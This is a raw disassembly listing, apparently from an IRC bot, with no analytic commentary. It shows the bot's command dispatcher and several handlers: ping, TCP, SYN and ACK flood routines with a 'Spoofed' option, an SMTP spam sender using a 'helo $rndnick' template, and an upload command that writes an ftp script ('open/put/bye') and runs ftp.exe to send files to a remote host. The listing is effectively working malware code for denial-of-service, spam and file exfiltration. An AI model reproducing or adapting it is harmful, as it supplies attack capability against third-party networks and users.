push offset aNetsend ; "netsend"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407042
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407042
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6F
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6F
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406D17
push [ebp+arg_10]
lea eax, [ebp+var_47EC]
push eax
call sub_41BEB0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+arg_10], eax
lea eax, [ebp+var_4188]
push eax
call sub_41BEB0
push [ebp+arg_18]
lea eax, [ebp+var_4588]
push eax
call sub_41BEB0
push offset asc_42D128 ; " "
push offset dword_42BBFC
push [ebp+esi+var_7C]
call sub_417EEF
push eax
lea eax, [ebp+var_4288]
push eax
call sub_41BEB0
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call dword_4CB5C4
lea eax, [ebp+var_47EC]
push eax
call dword_4CB6D8
push 6
push 1
push 2
mov edi, eax
call dword_4CB6D4
push [ebp+arg_10]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB654
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41B886
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB5FC
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CB66C
lea eax, [ebp+var_4088]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call dword_4CB6A4
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CB66C
push esi
call dword_4CB6EC
call dword_4CB5AC
lea eax, [ebp+var_4588]
push eax
push offset unk_42B0D8
loc_406CD0: ; CODE XREF: sub_401ACD+2E83j
; sub_401ACD+4667j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
loc_406CDC: ; CODE XREF: sub_401ACD+248Cj
add esp, 0Ch
loc_406CDF: ; CODE XREF: sub_401ACD+4585j
; sub_401ACD+6654j ...
cmp [ebp+var_8], ebx
jnz short loc_406D00
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_406D00: ; CODE XREF: sub_401ACD+29B3j
; sub_401ACD+2A06j ...
mov esi, [ebp+arg_24]
loc_406D03: ; CODE XREF: sub_401ACD+68F3j
; sub_401ACD+78E3j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
pop ecx
mov eax, esi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_406D17: ; CODE XREF: sub_401ACD+50ADj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406D41
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4072E9
loc_406D41: ; CODE XREF: sub_401ACD+525Bj
push [ebp+esi+var_7C]
push [ebp+arg_18]
push [ebp+arg_0]
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4100DC
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406D6F: ; CODE XREF: sub_401ACD+507Fj
; sub_401ACD+5096j
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
lea eax, [ebp+var_1354]
push eax
push offset aSyn ; "syn"
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_406DD4
lea eax, [ebp+var_1354]
push eax
push offset aAck ; "ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD4
lea eax, [ebp+var_1354]
push eax
push offset aRandom_0 ; "random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD4
push offset unk_42B090
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_406DD4: ; CODE XREF: sub_401ACD+52CDj
; sub_401ACD+52E4j ...
push [ebp+arg_18]
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_406F00
push [ebp+arg_10]
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_13D4]
push edi
push esi
push eax
call sub_41B980
push [ebp+arg_0]
call sub_41B779
mov [ebp+var_1250], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E71
mov eax, offset aNormal ; "Normal"
loc_406E71: ; CODE XREF: sub_401ACD+539Dj
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push eax
push offset unk_42B04C
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset word_413E36
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_406EEF
loc_406ED9: ; CODE XREF: sub_401ACD+5420j
cmp [ebp+var_123C], ebx
jnz loc_40828C
push 32h
nop
call near ptr 26A0F44h
jmp short loc_406ED9
; ---------------------------------------------------------------------------
loc_406EEF: ; CODE XREF: sub_401ACD+540Aj
nop
call near ptr 26B0857h
push eax
push offset unk_42B014
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_406F00: ; CODE XREF: sub_401ACD+5318j
push offset unk_42AFDC
loc_406F05: ; CODE XREF: sub_401ACD+2019j
; sub_401ACD+202Fj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_406F18: ; CODE XREF: sub_401ACD+503Aj
; sub_401ACD+5051j ...
cmp dword_4CB744, ebx
jnz loc_407027
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_100C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_1008], eax
call sub_41B779
push 7Fh
mov [ebp+var_1004], eax
push [ebp+var_88]
lea eax, [ebp+var_110C]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1004]
push [ebp+var_1008]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_100C]
push offset unk_42AF94
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B0F7
add esp, 24h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset byte_413285
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407016
loc_407000: ; CODE XREF: sub_401ACD+5547j
cmp [ebp+var_FF0], ebx
jnz loc_40828C
push 32h
nop
call near ptr 26A0F44h
jmp short loc_407000
; ---------------------------------------------------------------------------
loc_407016: ; CODE XREF: sub_401ACD+5531j
nop
call near ptr 26B0857h
push eax
push offset unk_42AF5C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_407027: ; CODE XREF: sub_401ACD+5451j
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41B5F0
jmp loc_408289
; ---------------------------------------------------------------------------
loc_407042: ; CODE XREF: sub_401ACD+500Cj
; sub_401ACD+5023j
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push [ebp+arg_0]
push offset unk_42AF08
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push [ebp+arg_0]
call sub_41AFE0
mov edx, eax
push edi
mov edi, edx
call sub_41AFE0
push [ebp+arg_10]
add edi, eax
call sub_41AFE0
push [ebp+arg_8]
add edi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+edi+7]
push eax
call sub_41B900
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41B779
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_40713C
loc_4070C5: ; CODE XREF: sub_401ACD+561Cj
push [ebp+arg_C]
push edi
push [ebp+arg_10]
call sub_4185A5
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_4070ED
cmp eax, ebx
jnz short loc_40710C
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_4070C5
jmp short loc_407145
; ---------------------------------------------------------------------------
loc_4070ED: ; CODE XREF: sub_401ACD+560Dj
push ebx
push [ebp+var_4]
push offset unk_42AED0
loc_4070F6: ; CODE XREF: sub_401ACD+5681j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
jmp loc_4072E9
; ---------------------------------------------------------------------------
loc_40710C: ; CODE XREF: sub_401ACD+5611j
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42AE9C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
loc_40713C: ; CODE XREF: sub_401ACD+55F6j
cmp [ebp+arg_1C], ebx
jnz loc_4072E9
loc_407145: ; CODE XREF: sub_401ACD+561Ej
push ebx
push [ebp+var_4]
push offset unk_42AE68
jmp short loc_4070F6
; ---------------------------------------------------------------------------
loc_407150: ; CODE XREF: sub_401ACD+4FC7j
; sub_401ACD+4FDEj ...
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_C7C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_C78], eax
call sub_41B779
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_4071B5
push esi
call sub_41B779
pop ecx
mov [ebp+var_C70], eax
jmp short loc_4071BB
; ---------------------------------------------------------------------------
loc_4071B5: ; CODE XREF: sub_401ACD+56D7j
mov [ebp+var_C70], ebx
loc_4071BB: ; CODE XREF: sub_401ACD+56E6j
push 7Fh
lea eax, [ebp+var_D7C]
push [ebp+var_88]
push eax
call sub_41B5F0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C74]
push [ebp+var_C78]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C7C]
push offset unk_42AE20
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B0F7
add esp, 24h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset byte_413411
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40725E
loc_40724C: ; CODE XREF: sub_401ACD+578Fj
cmp [ebp+var_C60], ebx
jnz short loc_407279
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40724C
; ---------------------------------------------------------------------------
loc_40725E: ; CODE XREF: sub_401ACD+577Dj
nop
call near ptr 26B0857h
push eax
push offset unk_42ADE8
loc_40726A: ; CODE XREF: sub_401ACD+4E32j
; sub_401ACD+62BFj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_407279: ; CODE XREF: sub_401ACD+4E16j
; sub_401ACD+5785j ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx
push [ebp+var_4]
loc_407286: ; CODE XREF: sub_401ACD+22DFj
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4082A9
; ---------------------------------------------------------------------------
loc_407299: ; CODE XREF: sub_401ACD+4F99j
; sub_401ACD+4FB0j
push 0Bh
call sub_40B33F
push edi
mov [ebp+arg_1C], eax
call sub_41B779
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_407455
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ADA8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
loc_4072E9: ; CODE XREF: sub_401ACD+526Ej
; sub_401ACD+563Aj ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401E94
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409855
push 4
push esi
call sub_416909
pop ecx
test eax, eax
pop ecx
jnz short loc_407325
push esi
push offset unk_42AD80
jmp loc_408CDC
; ---------------------------------------------------------------------------
loc_407325: ; CODE XREF: sub_401ACD+584Bj
nop
call near ptr 26C066Dh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+var_2E58]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41B886
lea eax, [ebp+var_2E58]
push offset aAb ; "ab"
push eax
call sub_41B4C2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401E94
push esi
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41BE06
push [ebp+arg_24]
call sub_41B05B
add esp, 20h
lea eax, [ebp+var_2E58]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB5C0
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_4073F4
push offset unk_42AD10
jmp short loc_4073F9
; ---------------------------------------------------------------------------
loc_4073F4: ; CODE XREF: sub_401ACD+591Ej
push offset unk_42ACE0
loc_4073F9: ; CODE XREF: sub_401ACD+5925j
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407422
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_407422: ; CODE XREF: sub_401ACD+5937j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
loc_40742E: ; CODE XREF: sub_401ACD+5986j
lea eax, [ebp+var_2E58]
push 4
push eax
call sub_416909
add esp, 0Ch
test eax, eax
jz loc_401E94
lea eax, [ebp+var_2E58]
push eax
call sub_41BDDC
jmp short loc_40742E
; ---------------------------------------------------------------------------
loc_407455: ; CODE XREF: sub_401ACD+57E6j
push [ebp+arg_10]
call sub_41B779
push edi
mov [ebp+var_370], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41B779
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_40748E
push 5
pop eax
mov [ebp+var_36C], eax
loc_40748E: ; CODE XREF: sub_401ACD+59B6j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40749B
mov [ebp+var_36C], ecx
loc_40749B: ; CODE XREF: sub_401ACD+59C6j
push [ebp+arg_18]
call sub_41B779
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_4074BD
mov [ebp+var_368], eax
loc_4074BD: ; CODE XREF: sub_401ACD+59E8j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431B00, ebx
mov [ebp+arg_20], ebx
jz short loc_40750C
mov edi, offset dword_431B00
loc_4074D4: ; CODE XREF: sub_401ACD+5A21j
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4074F2
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_4074D4
jmp short loc_40750C
; ---------------------------------------------------------------------------
loc_4074F2: ; CODE XREF: sub_401ACD+5A17j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431B00[ecx]
mov [ebp+var_370], ecx
loc_40750C: ; CODE XREF: sub_401ACD+5A00j
; sub_401ACD+5A23j
cmp [ebp+var_370], ebx
jnz short loc_40751E
push offset unk_42ACAC
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40751E: ; CODE XREF: sub_401ACD+5A45j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_407559
cmp byte ptr [edi], 23h
jz short loc_407559
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41B980
push 78h
push edi
call sub_41BFB0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407633
; ---------------------------------------------------------------------------
loc_407559: ; CODE XREF: sub_401ACD+5A5Aj
; sub_401ACD+5A5Fj
cmp [ebp+var_8FF], bl
jnz short loc_40757B
cmp [ebp+var_8FE], bl
jnz short loc_40757B
cmp [ebp+var_8EE], bl
jnz short loc_40757B
push offset unk_42AC78
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40757B: ; CODE XREF: sub_401ACD+5A92j
; sub_401ACD+5A9Aj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB5F8
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CB6E0
push eax
lea eax, [ebp+var_484]
push eax
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40762D
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41BE40
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407621
loc_4075FF: ; CODE XREF: sub_401ACD+5B52j
cmp eax, ebx
jz short loc_407621
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4075FF
loc_407621: ; CODE XREF: sub_401ACD+5B30j
; sub_401ACD+5B34j
mov [ebp+var_344], 1
jmp short loc_407633
; ---------------------------------------------------------------------------
loc_40762D: ; CODE XREF: sub_401ACD+5B0Aj
mov [ebp+var_344], ebx
loc_407633: ; CODE XREF: sub_401ACD+5A87j
; sub_401ACD+5B5Ej
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41B980
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407684
loc_407671: ; CODE XREF: sub_401ACD+5BDAj
push esi
loc_407672: ; CODE XREF: sub_401ACD+5BC4j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4076AF
; ---------------------------------------------------------------------------
loc_407684: ; CODE XREF: sub_401ACD+5BA2j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407693
cmp byte ptr [eax], 23h
jnz short loc_407693
push eax
jmp short loc_407672
; ---------------------------------------------------------------------------
loc_407693: ; CODE XREF: sub_401ACD+5BBCj
; sub_401ACD+5BC1j
mov esi, offset aF ; "#f"
push offset dword_43D808
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_407671
mov [ebp+var_3F4], bl
loc_4076AF: ; CODE XREF: sub_401ACD+5BB5j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4076C1
mov eax, offset aSequential ; "Sequential"
loc_4076C1: ; CODE XREF: sub_401ACD+5BEDj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AC10
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C33D
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40774F
loc_407739: ; CODE XREF: sub_401ACD+5C80j
cmp [ebp+var_340], ebx
jnz loc_40828C
push 32h
nop
call near ptr 26A0F44h
jmp short loc_407739
; ---------------------------------------------------------------------------
loc_40774F: ; CODE XREF: sub_401ACD+5C6Aj
call near ptr 26B0857h
nop
push eax
push offset unk_42ABD8
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_407760: ; CODE XREF: sub_401ACD+4F6Bj
; sub_401ACD+4F82j
push [ebp+arg_10]
call sub_40AAFA
push edi
mov [ebp+var_4E0], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_4EC], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41B5F0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CB6E0
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AB88
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F7
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset word_40C75A
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407855
loc_40783F: ; CODE XREF: sub_401ACD+5D86j
cmp [ebp+var_4D0], ebx
jnz loc_403DA1
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40783F
; ---------------------------------------------------------------------------
loc_407855: ; CODE XREF: sub_401ACD+5D70j
nop
call near ptr 26B0857h
push eax
push offset unk_42AB4C
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_407866: ; CODE XREF: sub_401ACD+4F2Ej
; sub_401ACD+4F45j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43E5A8[eax], bl
jz loc_409855
cmp [ebp+var_C], ebx
jz loc_409855
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42AB40
push eax
call sub_41B886
add esp, 0Ch
cmp esi, ebx
jz loc_409855
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A73
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E390[eax], 73h
jnz loc_409855
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43E5A8
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407A36
; ---------------------------------------------------------------------------
loc_40795E: ; CODE XREF: sub_401ACD+4F00j
; sub_401ACD+4F17j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43E5A8[eax], bl
jz loc_409855
cmp [ebp+var_C], ebx
jz loc_409855
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409855
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
push ebx
push ebx
push esi
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A73
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E390[eax], 73h
jnz loc_409855
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43E5A8
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407A36: ; CODE XREF: sub_401ACD+5E8Cj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 28h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_407A63: ; CODE XREF: sub_401ACD+4ED2j
; sub_401ACD+4EE9j
push [ebp+arg_10]
call dword_4CB694
push edi
mov [ebp+var_680], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41B5F0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CB6E0
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AAE4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset byte_40C669
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407B45
loc_407B2F: ; CODE XREF: sub_401ACD+6076j
cmp [ebp+var_670], ebx
jnz loc_403DA1
push 32h
call near ptr 26A0F44h
nop
jmp short loc_407B2F
; ---------------------------------------------------------------------------
loc_407B45: ; CODE XREF: sub_401ACD+6060j
nop
call near ptr 26B0857h
push eax
push offset unk_42ABD8
jmp loc_403D92
; ---------------------------------------------------------------------------
